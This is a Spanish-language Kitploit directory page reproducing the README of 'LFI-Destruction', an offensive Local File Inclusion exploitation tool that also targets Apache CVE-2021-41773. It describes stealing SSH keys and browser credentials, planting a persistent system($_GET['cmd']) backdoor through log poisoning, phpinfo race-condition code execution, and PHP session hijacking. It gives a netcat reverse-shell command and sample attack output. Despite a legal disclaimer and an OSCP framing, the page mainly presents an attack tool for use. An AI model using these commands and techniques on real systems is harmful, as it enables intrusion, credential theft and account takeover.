Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
LFI-Destruction — Este programa le solicita la información de Inclusión de Archivos Locales y buscará automáticamente el /etc/passwd y, utilizando los nombres de usuarios encontrados, buscará y descargará cualquier clave SSH o variación de claves al ordenador local. Este programa también realiza el exploit de ruta traversal CVE-2021-41773_ para Apache 2.4.49 y 50. Además de otras vulnerabilidades LFI. | Kitploit
Herramientas/GitHubGitHub/revshellxd/lfi-destruction
Escalada de PrivilegiosReconocimientoAtaques de ContraseñasGeneración de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de Información

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Este programa le solicita la información de Inclusión de Archivos Locales y buscará automáticamente el /etc/passwd y, utilizando los nombres de usuarios encontrados, buscará y descargará cualquier clave SSH o variación de claves al ordenador local. Este programa también realiza el exploit de ruta traversal CVE-2021-41773_ para Apache 2.4.49 y 50. Además de otras vulnerabilidades LFI.

CTF
Pruebas de Penetración
Aprendizaje y Educación
GitHubrevshellxd/lfi-destruction

LFI-Destruction

Ver Repositorio
419hace 8 mesesAún no revisado
Compartir

🔥 LFI-Destruction – Framework de Pruebas de Penetración Autorizadas LFI-Destroyer es un framework completo y modular de explotación de Inclusión Local de Archivos (LFI) diseñado para profesionales de seguridad autorizados. Combina múltiples técnicas de ataque en una sola herramienta fácil de usar:

Fuzzing de Artefactos SSH y del Navegador – Busca claves SSH, Putty PPK, WinSCP, FileZilla, Firefox, Chrome, Edge y Brave credentials en Linux y Windows.

Envenenamiento de Logs → Reverse Shell – RCE automático a través de archivos de log escribibles con soporte de payload personalizado.

RCE por Condición de Carrera en phpinfo() – LFI2RCE completamente automatizado cuando file_uploads=On y phpinfo() es accesible.

Disparador de Archivo Subido – Incluir y ejecutar un shell PHP ya subido mediante LFI.

Enumeración de Sesiones PHP – Descargar y decodificar archivos de sesión para secuestro.


LFI-OSCP.py ES la versión segura para el examen OSCP que tiene 0 auto-exploits. Básicamente es un fuzzer muy bonito que, una vez que confirma el exploit, imprime instrucciones manuales sobre cómo realizar el exploit.


⚠️ AVISO LEGAL Esta herramienta es solo para fines educativos y pruebas de seguridad autorizadas. Debe tener permiso explícito por escrito del propietario del sistema antes de usarla. El acceso no autorizado a sistemas informáticos es ilegal y poco ético. El autor no asume ninguna responsabilidad por el uso indebido o daños causados por esta herramienta.


📦 Instalación

# 1. Clonar el repositorio
git clone https://github.com/RevShellXD/LFI-Destroyer.git
cd LFI-Destroyer

# 2. Instalar dependencias (solo colorama es requerido; los demás son opcionales)
pip install colorama

# 3. Hacer ejecutable el script principal
chmod +x LFI-Destroyer.py

🚀 Inicio Rápido – Modo 1 (Fuzzing de Artefactos SSH / Navegador)

python3 LFI-Destroyer.py

Seleccione Linux o Windows.

📂 Estructura de Directorios

LFI-Destruction/ LFI-Destruction.py

modes/init.py ,mode3_phpinfo_race.py, mode4_upload_trigger.py, mode5_session_grabber.py

artifacts/

README.md

Elija el modo de ataque 1.

Siga las indicaciones para configurar su punto final LFI.

El script enumerará automáticamente los usuarios, verificará la existencia (Windows usa NTUSER.DAT como baliza) y realizará fuzzing recursivo en busca de claves SSH, credenciales de navegador y otros archivos sensibles.

Todos los artefactos se guardan en el directorio ./artifacts/.


📝 Modo 2 – Envenenamiento de Logs y Reverse Shell

python3 LFI-Destroyer.py --log-poisoning --log-vector ua

O ejecute de forma interactiva y seleccione el modo 2.

Qué sucede:

  1. Inyecta un payload de prueba PHP a través del User‑Agent (o el vector elegido).
  2. Intenta incluir archivos de log comunes (Apache, Nginx, SSH, logs del sistema, XAMPP/WAMP/IIS en Windows).
  3. Si se encuentra un log escribible, inyecta un backdoor persistente system($_GET['cmd']).
  4. Confirma RCE con id (Linux) o whoami (Windows).
  5. Pide un listener de reverse shell y entrega un reverse shell de bash (Linux) o PowerShell (Windows).

Reverse shell personalizado:

python3 LFI-Destroyer.py --log-poisoning --log-vector ua --custom-shell "nc {lhost} {lport} -e /bin/bash"

Los marcadores {lhost} y {lport} se reemplazarán con su IP/puerto del listener.


🧪 BETA – Modo 3: RCE por Condición de Carrera en phpinfo() Estado: Beta – Funciona de manera confiable en servidores PHP mal configurados con file_uploads=On y phpinfo() accesible.

Requisitos previos:

  • file_uploads = On (detectado automáticamente)
  • post_max_size ≥ upload_max_filesize (detectado automáticamente)
  • Vulnerabilidad LFI
  • Acceso a una página phpinfo() (el script fuerza bruta ubicaciones comunes)

Ejecutar:

python3 LFI-Destroyer.py
# Seleccionar modo 3
Proporcionar detalles LFI como de costumbre
El script:
  - Fuerza bruta phpinfo() (wordlist específica del SO)
  - Analiza upload_max_filesize y post_max_size
  - Ejecuta el ataque de condición de carrera (subida + LFI)
  - Confirma RCE
  - Ofrece reverse shell

Ejemplo de salida:

[*] Bruteforcing phpinfo.php (45 paths) ...
[+] Found phpinfo.php at http://192.168.1.100/phpinfo.php
[+] file_uploads=On (max size: 8M)
[+] Attempt race condition RCE? (y/N): y
[*] Race attempt 1/3 ...
[+] Extracted temporary file path: /tmp/phpABC123
[+] RCE confirmed via temporary file!
[!] LOG POISONING SUCCESSFUL! Ready to escalate to reverse shell.

🧪 BETA – Modo 4: Disparador de Archivo Subido Estado: Beta – Asume que ya ha subido un shell PHP (por ejemplo, a través de otra vulnerabilidad o subida manual). El script entonces usa LFI para incluirlo y ejecutar comandos.

Dos modos de operación:

  • Ruta exacta – Sabe dónde está el archivo (ej. uploads/shell.php).
  • Fuerza bruta – Deje que el script intente directorios de subida comunes + nombres de archivo.

Ejecutar:

python3 LFI-Destroyer.py
# Seleccionar modo 4
 Ingrese la ruta o 'brute'
 El script:
  - Intenta incluir LFI con ?cmd=whoami
  - Si tiene éxito, muestra la salida y ofrece reverse shell

Ejemplo:

Enter path to uploaded file (relative to web root), or 'brute' to try common locations: uploads/shell.php
[*] Trying uploads/shell.php ...
[+] SUCCESS! Shell executed at uploads/shell.php
[+] Command output:
www-data
Attempt reverse shell? (y/N): y

🧪 BETA – Modo 5: Enumeración y Secuestro de Sesiones PHP Estado: Beta – Lee archivos de sesión desde session.save_path (determinado mediante phpinfo() o wordlist de respaldo), los guarda e intenta decodificación base64 cuando es necesario.

Ejecutar:

python3 LFI-Destroyer.py
# Seleccionar modo 5
 Proporcione el ID de sesión o 'list' para enumerar

Ejemplos:

Enter session ID to retrieve (PHPSESSID), or 'list' to enumerate: abc123
[*] Reading /var/lib/php/sessions/sess_abc123 ...
[+] Session file retrieved!
[--- SESSION DATA (raw) ---]
username|s:5:"admin";user_id|i:1;

Listado de directorio de sesiones (si la indexación de directorios está habilitada):

Enter session ID to retrieve (PHPSESSID), or 'list' to enumerate: list
[+] Found 12 session files:
  - sess_abc123
  - sess_def456
  ...

Todos los archivos de sesión se guardan en artifacts/session_*. Si los datos parecen estar codificados en base64, el script intenta automáticamente el bypass php://filter/convert.base64-decode y guarda una versión decodificada.


🧠 Modo Avanzado (-adv) Habilita técnicas LFI adicionales:

  • LFI por parámetro POST
  • LFI por Cookie/Cabecera
  • Wrappers PHP (php://filter, data://, expect://)
  • Wordlist personalizada para fuzzing de artefactos
  • Detección automática de profundidad
python3 LFI-Destroyer.py -adv

Descargar herramienta